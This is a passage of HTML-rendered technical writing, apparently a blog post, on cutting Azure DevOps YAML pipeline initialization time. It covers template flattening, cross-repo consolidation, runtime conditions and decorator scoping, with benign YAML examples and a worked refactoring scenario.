style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BETTER: static paths with compile-time routing\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.deploymentType, \u0026#39;aks\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks/deploy.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ elseif eq(parameters.deploymentType, \u0026#39;appservice\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eappservice/deploy.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ else }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003efunctions/deploy.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe static version allows the service to fetch templates incrementally as branches evaluate.\u003c/p\u003e\n\u003ch3 id=\"cost-driver-3--wide--each--loops\"\u003eCost Driver 3 — Wide \u003ccode\u003e${{ each }}\u003c/code\u003e Loops\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e loops do not trigger additional template fetches per iteration. The cost is in Phase 2 expression evaluation and Phase 3 plan compilation.\u003c/p\u003e\n\u003cp\u003eA loop generating 50 stages with 10 steps each produces 500 step definitions. Azure DevOps enforces a 20 MB memory limit during parsing. The effective practical cap on Expanded YAML size is 4 MB (increased in 2023 to match ARM template limits) before compilation performance degrades noticeably.\u003c/p\u003e\n\u003ch3 id=\"cost-driver-4--pipeline-decorators\"\u003eCost Driver 4 — Pipeline Decorators\u003c/h3\u003e\n\u003cp\u003ePipeline decorators inject steps into every pipeline run across the organization. Each decorator adds template fetch overhead to Phase 1 and step compilation overhead to Phase 2/3.\u003c/p\u003e\n\u003cp\u003eAt 300ms overhead per decorator per job, a pipeline with 20 jobs and 3 decorators sees nearly 20 seconds of additional initialization time from decorator processing alone.\u003c/p\u003e\n\u003ch3 id=\"cost-driver-5--deep--if--expression-chains\"\u003eCost Driver 5 — Deep \u003ccode\u003e${{ if }}\u003c/code\u003e Expression Chains\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ if }}\u003c/code\u003e chains evaluate sequentially. A 36-iteration \u003ccode\u003e${{ each }}\u003c/code\u003e loop containing a 6-branch \u003ccode\u003e${{ if }}\u003c/code\u003e chain evaluates up to 216 conditions during Phase 2.\u003c/p\u003e\n\u003cp\u003eRedundant conditions compound this cost. Consolidate multiple \u003ccode\u003e${{ if }}\u003c/code\u003e blocks that test the same variable.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# SLOW: same condition evaluated three separate times\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.environment, \u0026#39;prod\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Prod database\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.environment, \u0026#39;prod\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Prod storage\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.environment, \u0026#39;prod\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Prod monitoring\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# FAST: single evaluation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.environment, \u0026#39;prod\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Prod database\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Prod storage\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Prod monitoring\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"four-optimization-strategies\"\u003eFour Optimization Strategies\u003c/h2\u003e\n\u003ch3 id=\"strategy-1--template-flattening\"\u003eStrategy 1 — Template Flattening\u003c/h3\u003e\n\u003cp\u003eTemplate flattening merges multiple template files into fewer files, reducing Phase 1 HTTP round trips.\u003c/p\u003e\n\u003cp\u003eApply flattening to leaf templates first — files that call no other templates and are called by only one parent. For example, merge \u003ccode\u003esteps-lint.yml\u003c/code\u003e, \u003ccode\u003esteps-test.yml\u003c/code\u003e, and \u003ccode\u003esteps-build.yml\u003c/code\u003e into a single \u003ccode\u003esteps-ci.yml\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore — 4 template references:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# job-ci.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps-lint.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps-test.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ecoverageEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps-build.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eAfter — 1 template reference:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# job-ci.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps-ci.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ecoverageEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# steps-ci.yml (merged leaf template)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecoverageEnabled\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet format --verify-no-changes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Lint\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.coverageEnabled, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet test --collect:\u0026#34;XPlat Code Coverage\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Test with coverage\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ else }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Test\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet publish\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"strategy-2--cross-repo-template-consolidation\"\u003eStrategy 2 — Cross-Repo Template Consolidation\u003c/h3\u003e\n\u003cp\u003eIf a pipeline makes 5 cross-repo references to \u003ccode\u003etemplates@enterprise\u003c/code\u003e, consolidate the 5 files into a single \u003ccode\u003eenterprise-core.yml\u003c/code\u003e file. Callers replace 5 cross-repo references with 1.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BEFORE: 5 cross-repo template references\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/checkout.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/lint.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/test.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/build.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/publish.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AFTER: 1 combined cross-repo reference\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecombined/dotnet-ci.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor platform teams, audit which templates are referenced by more than 20 pipelines and prioritize consolidating those first.\u003c/p\u003e\n\u003ch3 id=\"strategy-3--defer-compile-time-logic-to-runtime\"\u003eStrategy 3 — Defer Compile-Time Logic to Runtime\u003c/h3\u003e\n\u003cp\u003eEvery \u003ccode\u003e${{ if }}\u003c/code\u003e block replaced by a runtime \u003ccode\u003econdition:\u003c/code\u003e reduces Phase 2 evaluation work.\u003c/p\u003e\n\u003cp\u003eUse \u003ccode\u003e${{ if }}\u003c/code\u003e for structural decisions (adding or removing jobs/stages). Use \u003ccode\u003econdition:\u003c/code\u003e for behavioral decisions (skipping a step).\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BEFORE: compile-time exclusion\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./publish-artifacts.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AFTER: runtime condition\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./publish-artifacts.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"strategy-4--decorator-scoping\"\u003eStrategy 4 — Decorator Scoping\u003c/h3\u003e\n\u003cp\u003eAn early-exit guard at the top of a decorator\u0026rsquo;s injected step keeps per-job overhead under 200ms for non-target pipelines:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Decorator injected step — with early-exit guard for out-of-scope projects\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      if [ \u0026#34;$TEAM_PROJECT\u0026#34; != \u0026#34;Production\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$TEAM_PROJECT\u0026#34; != \u0026#34;Platform\u0026#34; ]; then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Decorator not applicable to project: $TEAM_PROJECT\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        exit 0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      fi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      ./credential-scan.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;[Decorator] Credential scan\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eTEAM_PROJECT\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(System.TeamProject)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"measuring-the-improvement\"\u003eMeasuring the Improvement\u003c/h2\u003e\n\u003cp\u003eMeasure before and after on the same pipeline, the same branch, with identical parameters. Enable \u003ccode\u003esystem.debug: true\u003c/code\u003e.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eMetric\u003c/th\u003e\n          \u003cth\u003ePhase Reduced\u003c/th\u003e\n          \u003cth\u003eExpected Reduction\u003c/th\u003e\n          \u003cth\u003eConditions\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eFlatten leaf templates\u003c/td\u003e\n          \u003ctd\u003ePhase 1\u003c/td\u003e\n          \u003ctd\u003e40-60% of Phase 1 time\u003c/td\u003e\n          \u003ctd\u003eSame-repo templates; deep hierarchy\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eRemove cross-repo references\u003c/td\u003e\n          \u003ctd\u003ePhase 1\u003c/td\u003e\n          \u003ctd\u003e3-8 seconds per run\u003c/td\u003e\n          \u003ctd\u003eDepends on org network latency\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eDefer \u003ccode\u003e${{ if }}\u003c/code\u003e to \u003ccode\u003econdition:\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003ePhase 2\u003c/td\u003e\n          \u003ctd\u003e15-25% of Expand YAML time\u003c/td\u003e\n          \u003ctd\u003ePhase 2 is bottleneck\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-refactoring-a-45-second-initialization\"\u003eHands-On Example: Refactoring a 45-Second Initialization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e An enterprise pipeline takes 45 seconds to initialize. Log analysis reveals 28 template files (22 leaf templates), 4 cross-repo references, and a \u003ccode\u003e${{ each }}\u003c/code\u003e loop generating 36 deployment stages with deep compile-time logic. The target is ≤20 seconds.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBaseline measurement:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTrigger → first task: 45.2s\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;Expand YAML\u0026rdquo; time: 18.4s\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;Evaluating template\u0026rdquo; entries: 28\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1 — Flatten leaf templates\u003c/strong\u003e\nMerge the 22 leaf templates into 4 combined files. Template count drops from 28 to 10.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 2 — Consolidate cross-repo references\u003c/strong\u003e\nMove the 4 cross-repo templates into a single \u003ccode\u003eenterprise-deploy.yml\u003c/code\u003e combined file. Saves 3 HTTP authentication round-trips.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 3 — Scope decorator overhead\u003c/strong\u003e\nAdd bash early-exit guards to the decorators, limiting execution to the \u003ccode\u003eMicroservicesApp\u003c/code\u003e project.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 4 — Defer compile-time logic\u003c/strong\u003e\nIdentify 8 \u003ccode\u003e${{ if }}\u003c/code\u003e blocks that gate step execution based on \u003ccode\u003eBuild.SourceBranch\u003c/code\u003e. Replace them with runtime 